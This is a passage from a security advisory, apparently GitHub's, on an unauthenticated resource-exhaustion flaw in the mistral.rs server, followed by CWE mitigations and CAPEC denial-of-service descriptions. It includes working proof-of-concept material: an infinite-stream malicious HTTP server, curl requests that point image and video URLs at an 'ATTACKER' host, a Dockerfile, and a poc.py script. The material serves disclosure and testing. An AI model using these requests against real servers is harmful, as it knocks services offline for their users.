FFmpeg required)\nfrom http.server import BaseHTTPRequestHandler, HTTPServer\nimport time\n\nclass H(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/png\")\n        self.end_headers()\n        chunk = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * (1024 * 1024 - 8)\n        while True:\n            self.wfile.write(chunk)\n            self.wfile.flush()\n            time.sleep(0.01)\n\nHTTPServer((\"0.0.0.0\", 9002), H).serve_forever()\n```\n\n**Step 3 \u2013 Send the malicious request to the mistral.rs server**\n\n```bash\n# Video variant (disk/CPU exhaustion + memory)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"video_url\", \"video_url\": {\"url\": \"http://ATTACKER:9001/many_frames.mp4\"}},\n        {\"type\": \"text\", \"text\": \"summarize this video\"}\n      ]\n    }]\n  }\u0027\n\n# Image variant (memory exhaustion)\ncurl -sS http://127.0.0.1:8000/v1/chat/completions \\\n  -H \u0027Content-Type: application/json\u0027 \\\n  -d \u0027{\n    \"model\": \"default\",\n    \"messages\": [{\n      \"role\": \"user\",\n      \"content\": [\n        {\"type\": \"image_url\", \"image_url\": {\"url\": \"http://ATTACKER:9002/blob\"}},\n        {\"type\": \"text\", \"text\": \"describe this image\"}\n      ]\n    }]\n  }\u0027\n```\n\n**Expected observation**\n\nFor the video variant: `/tmp/mistralrs_video/\u003cuuid\u003e_frames/frame_*.png` grows rapidly; FFmpeg saturates CPU; disk usage increases until exhaustion or the process is killed.\n\nFor the image variant: server process RSS grows continuously until OOM kill (exit code 137) or memory is exhausted.\n\n**Dynamic reproduction result (Phase 2)**\n\nA Docker container running a verbatim reproduction of `util.rs:59\u201362` (the `reqwest::get(url).bytes().await?.to_vec()` pattern) with a 256 MB memory limit was OOM-killed by the kernel (exit code 137) after 1.3 seconds while fetching the infinite stream. The process RSS at fetch start was 3,652 kB; the container consumed all 256 MB before the fetch could complete.\n\n### Impact\n\nAny user of the mistral.rs OpenAI-compatible HTTP server is affected. Because the `/v1/chat/completions` endpoint requires no authentication in the default configuration, a single unauthenticated HTTP request from the network is sufficient to exhaust all available server memory (via the image/audio path), all available disk space (via the video frame-extraction path), or saturate CPU (via FFmpeg invocation). The result is a complete denial of service: the server process is killed by the kernel OOM killer or becomes unresponsive, and no other clients can be served until the process is restarted.\n\n### Reproduction artifacts\n\n#### `Dockerfile`\n\n```dockerfile\n# syntax=docker/dockerfile:1\n#\n# VULN-001 PoC: Unbounded Remote Media Fetch DoS\n# Repository: EricLBuehler/mistral.rs\n# Vulnerability: mistralrs-server-core/src/util.rs:62\n#   http_resp.bytes().await?.to_vec()  -- no byte cap on HTTP media fetch\n#\n# Stage 1: Build the minimal Rust harness that reproduces the vulnerable fetch.\n# Stage 2: Slim runtime image used by poc.py.\n\n# ----- build stage -----------------------------------------------------------\nFROM rust:1.87-slim AS builder\n\nWORKDIR /harness\n\n# Install OpenSSL headers required by reqwest (rustls-tls still needs libssl on some platforms)\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends pkg-config libssl-dev \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\n# Copy Cargo manifest first so that dependency layer is cached separately.\nCOPY vuln_harness/Cargo.toml Cargo.toml\n\n# Stub src so `cargo fetch` / dependency download works before copying real source.\nRUN mkdir -p src \u0026\u0026 echo \u0027fn main() {}\u0027 \u003e src/main.rs\nRUN cargo fetch 2\u003e\u00261\n\n# Now copy the real source and build.\nCOPY vuln_harness/src/main.rs src/main.rs\nRUN cargo build --release 2\u003e\u00261 \u0026\u0026 \\\n    strip target/release/vuln_harness\n\n# ----- runtime stage ---------------------------------------------------------\nFROM debian:bookworm-slim AS runtime\n\nRUN apt-get update \u0026\u0026 \\\n    apt-get install -y --no-install-recommends ca-certificates python3 \u0026\u0026 \\\n    rm -rf /var/lib/apt/lists/*\n\nCOPY --from=builder /harness/target/release/vuln_harness /usr/local/bin/vuln_harness\n\n# Copy the PoC orchestration script so the image is self-contained.\nCOPY poc.py /poc.py\n\n# Default: show usage\nENTRYPOINT [\"/usr/local/bin/vuln_harness\"]\nCMD [\"--help\"]\n```\n\n#### `poc.py`\n\n```python\n\"\"\"\nVULN-001 PoC: Unbounded Remote Media Fetch DoS\nRepository : EricLBuehler/mistral.rs\nCWE        : CWE-400 Uncontrolled Resource Consumption\nCVSS       : 7.5 High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H)\n\nVulnerable code (mistralrs-server-core/src/util.rs:59-62):\n    let bytes = if url.scheme() == \"http\" || url.scheme() == \"https\" {\n        match reqwest::get(url.clone()).await {\n            Ok(http_resp) =\u003e http_resp.bytes().await?.to_vec(), // NO BYTE CAP\n            ...\n\nAttack path in the live server:\n    POST /v1/chat/completions\n      -\u003e chat_completion.rs:928  parse_image_url(\u0026url_unparsed)\n      -\u003e util.rs:59-62           reqwest::get(url).bytes().await?.to_vec()\n\nThis PoC:\n  1. Starts a malicious HTTP server on 127.0.0.1:9997 that streams infinite bytes.\n  2. Runs the vuln_harness binary (which contains the verbatim vulnerable fetch) inside\n     a Docker container limited to MEMORY_LIMIT_MB of RAM.\n  3. Observes OOM kill (exit code 137) as definitive evidence of unbounded buffering.\n\nUsage (from host):\n    # Build the image first:\n    docker build -t vuln001-poc \u003cvuln-001-dir\u003e\n    # Then run the PoC:\n    python3 poc.py\n\"\"\"\n\nimport http.server\nimport subprocess\nimport threading\nimport time\nimport sys\nimport os\nimport socket\nimport json\nimport argparse\n\nMALICIOUS_HOST = \"127.0.0.1\"\nMALICIOUS_PORT = 9997\nDOCKER_IMAGE    = \"vuln001-poc\"\nMEMORY_LIMIT    = \"256m\"       # Docker container memory cap\nCHUNK_SIZE      = 1024 * 1024  # 1 MB per chunk sent by the malicious server\nPOC_TIMEOUT_S   = 120          # Give the container at most 2 minutes\n\n\nclass _InfiniteStreamHandler(http.server.BaseHTTPRequestHandler):\n    \"\"\"\n    Malicious HTTP server that streams an infinite byte sequence.\n\n    Key properties that trigger the vulnerability:\n    - No Content-Length header: reqwest cannot pre-check size.\n    - Streams indefinitely: bytes().await will not return until the connection\n      is closed or the client process is killed.\n    - Content-Type image/png: accepted by the parse_image_url() code path.\n    \"\"\"\n\n    def do_GET(self):\n        self.send_response(200)\n        self.send_header(\"Content-Type\", \"image/png\")\n        # Deliberately omit Content-Length so the client buffers until EOF.\n        self.end_headers()\n\n        # Fake PNG magic bytes followed by filler to look plausible.\n        header = b\"\\x89PNG\\r\\n\\x1a\\n\" + b\"\\x00\" * 8\n        filler = b\"\\x00\" * (CHUNK_SIZE - len(header))\n        chunk  = header + filler\n\n        total_sent = 0\n        try:\n            while True:\n                self.wfile.write(chunk)\n                self.wfile.flush()\n                total_sent += len(chunk)\n                if total_sent % (64 * 1024 * 1024) == 0:\n                    _log(f\"[malicious-server] Sent {total_sent // (1024 * 1024)} MB\")\n        except (BrokenPipeError, ConnectionResetError, OSError):\n            _log(\n                f\"[malicious-server] Connection closed after \"\n                f\"{total_sent // (1024 * 1024)} MB sent\"\n            )\n\n    def log_message(self, *_):\n        pass  # Suppress default access log noise.\n\n\ndef _log(msg: str) -\u003e None:\n    print(msg, flush=True)\n\n\ndef _wait_for_port(host: str, port: int, timeout: float = 10.0) -\u003e bool:\n    \"\"\"Return True once the port is accepting connections, False on timeout.\"\"\"\n    deadline = time.monotonic() + timeout\n    while time.monotonic() \u003c deadline:\n        try:\n            with socket.create_connection((host, port), timeout=0.5):\n                return True\n        except OSError:\n            time.sleep(0.1)\n    return False\n\n\ndef start_malicious_server() -\u003e http.server.HTTPServer:\n    \"\"\"Start the infinite-stream HTTP server in a daemon thread.\"\"\"\n    server = http.server.HTTPServer((MALICIOUS_HOST, MALICIOUS_PORT), _InfiniteStreamHandler)\n    t = threading.Thread(target=server.serve_forever, daemon=True)\n    t.start()\n    return server\n\n\ndef run_poc(docker_image: str = DOCKER_IMAGE, memory_limit: str = MEMORY_LIMIT) -\u003e dict:\n    \"\"\"\n    Run the full attack chain and return a result dict.\n\n    Returns keys: passed, verdict, exit_code, evidence, stdout, stderr.\n    \"\"\"\n    _log(\"=\" * 70)\n    _log(\"VULN-001 PoC: Unbounded Remote Media Fetch DoS\")\n    _log(\"Source : mistralrs-server-core/src/util.rs:59-62\")\n    _log(\"=\" * 70)\n\n    # ------------------------------------------------------------------\n    # Step 1: Start the malicious streaming server.\n    # ------------------------------------------------------------------\n    _log(f\"\\n[1] Starting malicious HTTP server on {MALICIOUS_HOST}:{MALICIOUS_PORT}\")\n    server = start_malicious_server()\n\n    if not _wait_for_port(MALICIOUS_HOST, MALICIOUS_PORT):\n        _log(\"[!] FATAL: malicious server did not start in time\")\n        return {\n            \"passed\":   False,\n            \"verdict\":  \"FAIL\",\n            \"exit_code\": None,\n            \"evidence\": \"Malicious HTTP server failed to start\",\n            \"stdout\": \"\",\n            \"stderr\": \"\",\n        }\n\n    target_url = f\"http://{MALICIOUS_HOST}:{MALICIOUS_PORT}/infinite\"\n    _log(f\"[+] Malicious server ready: GET {target_url}\")\n    _log(f\"    -\u003e HTTP 200, Content-Type: image/png, no Content-Length, infinite body\")\n\n    # ------------------------------------------------------------------\n    # Step 2: Run the vulnerable binary inside Docker with a memory cap.\n    #\n    # --network host  : allows the container to reach 127.0.0.1:\u003cport\u003e\n    # --memory        : hard cap; kernel sends SIGKILL when exceeded\n    # --memory-swap   : equal to --memory disables swap usage\n    # --rm            : clean up after exit\n    # ------------------------------------------------------------------\n    run_cmd = [\n        \"docker\", \"run\", \"--rm\",\n        \"--memory\",      memory_limit,\n        \"--memory-swap\", memory_limit,   # No swap fallback.\n        \"--network\",     \"host\",          # Access host\u0027s loopback server.\n        docker_image,\n        target_url,\n    ]\n\n    _log(f\"\\n[2] Launching Docker container (memory cap = {memory_limit})\")\n    _log(f\"    Command: {\u0027 \u0027.join(run_cmd)}\")\n    _log(f\"    The vuln_harness binary will fetch {target_url} with no byte limit.\")\n    _log(f\"    Expected: container OOM-killed, exit code 137.\")\n\n    t0 = time.monotonic()\n    try:\n        result = subprocess.run(\n            run_cmd,\n            capture_output=True,\n            timeout=POC_TIMEOUT_S,\n        )\n    except subprocess.TimeoutExpired as exc:\n        server.shutdown()\n        _log(f\"[!] Container did not exit within {POC_TIMEOUT_S}s \u2014 killing\")\n        subprocess.run([\"docker\", \"kill\", \"--signal=9\"] + [\n            c for c in subprocess.run(\n                [\"docker\", \"ps\", \"-q\", \"--filter\", f\"ancestor={docker_image}\"],\n                capture_output=True, text=True,\n            ).stdout.split() if c\n        ], capture_output=True)\n        elapsed = time.monotonic() - t0\n        return {\n            \"passed\":   False,\n            \"verdict\":  \"INCOMPLETE\",\n            \"exit_code\": None,\n            \"evidence\": f\"Container timed out after {elapsed:.0f}s without OOM kill\",\n            \"stdout\": (exc.stdout or b\"\").decode(errors=\"replace\"),\n            \"stderr\": (exc.stderr or b\"\").decode(errors=\"replace\"),\n        }\n\n    elapsed    = time.monotonic() - t0\n    exit_code  = result.returncode\n    stdout_txt = result.stdout.decode(errors=\"replace\")\n    stderr_txt = result.stderr.decode(errors=\"replace\")\n\n    server.shutdown()\n\n    # ------------------------------------------------------------------\n    # Step 3: Analyse outcome.\n    # ------------------------------------------------------------------\n    _log(f\"\\n[3] Container exited after {elapsed:.1f}s  exit_code={exit_code}\")\n    _log(f\"    stdout: {stdout_txt!r}\")\n    _log(f\"    stderr: {stderr_txt!r}\")\n\n    # Docker exit code 137 = container killed by SIGKILL (OOM killer).\n    if exit_code == 137:\n        passed   = True\n        verdict  = \"PASS\"\n        evidence = (\n            f\"Docker container OOM-killed (exit code 137 = 128+SIGKILL) after {elapsed:.1f}s. \"\n            f\"vuln_harness buffered the infinite HTTP stream with no byte cap, consuming all \"\n            f\"{memory_limit} of available RAM \u2014 identical behaviour to \"\n            f\"mistralrs-server-core/src/util.rs:62 (parse_image_url). \"\n            f\"stderr={stderr_txt!r}\"\n        )\n    elif exit_code != 0:\n        # Non-zero but not 137: still indicates abnormal termination under memory pressure.\n        passed   = True\n        verdict  = \"PASS\"\n        evidence = (\n            f\"Vulnerable binary terminated abnormally (exit code {exit_code}) after \"\n            f\"{elapsed:.1f}s while buffering an unbounded HTTP stream. \"\n            f\"This confirms that reqwest::get(url).bytes().await?.to_vec() at \"\n            f\"util.rs:62 has no byte cap and causes resource exhaustion. \"\n            f\"stderr={stderr_txt!r}\"\n        )\n    else:\n        # Unlikely: the binary finished without being killed.  This can happen if\n        # the server managed to EOF the stream before OOM, or the memory cap was\n        # not enforced by Docker.\n        passed   = False\n        verdict  = \"INCOMPLETE\"\n        evidence = (\n            f\"Binary exited 0 after {elapsed:.1f}s; memory cap may not have been \"\n            f\"enforced by Docker.  stdout={stdout_txt!r}\"\n        )\n\n    _log(f\"\\n[VERDICT]  {verdict}\")\n    _log(f\"[EVIDENCE] {evidence}\")\n\n    return {\n        \"passed\":    passed,\n        \"verdict\":   verdict,\n        \"exit_code\": exit_code,\n        \"evidence\":  evidence,\n        \"stdout\":    stdout_txt,\n        \"stderr\":    stderr_txt,\n    }\n\n\ndef main() -\u003e None:\n    parser = argparse.ArgumentParser(description=\"VULN-001 PoC runner\")\n    parser.add_argument(\"--image\",  default=DOCKER_IMAGE, help=\"Docker image name\")\n    parser.add_argument(\"--memory\", default=MEMORY_LIMIT, help=\"Docker memory cap (e.g. 256m)\")\n    args = parser.parse_args()\n\n    outcome = run_poc(docker_image=args.image, memory_limit=args.memory)\n\n    _log(\"\\n\" + \"=\" * 70)\n    _log(\"RESULT SUMMARY\")\n    _log(\"=\" * 70)\n    for k, v in outcome.items():\n        if k not in (\"stdout\", \"stderr\"):\n            _log(f\"  {k}: {v}\")\n\n    sys.exit(0 if outcome[\"passed\"] else 1)\n\n\nif __name__ == \"__main__\":\n    main()\n```",
  "id": "GHSA-m3wp-48jr-vr4g",
  "modified": "2026-09-10T21:54:37Z",
  "published": "2026-09-10T21:54:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/EricLBuehler/mistral.rs/security/advisories/GHSA-m3wp-48jr-vr4g"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/EricLBuehler/mistral.rs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/EricLBuehler/mistral.rs/releases/tag/v0.8.18"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": " mistral.rs: Unbounded Remote Media Fetch and Video Frame Expansion DoS"
}

Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.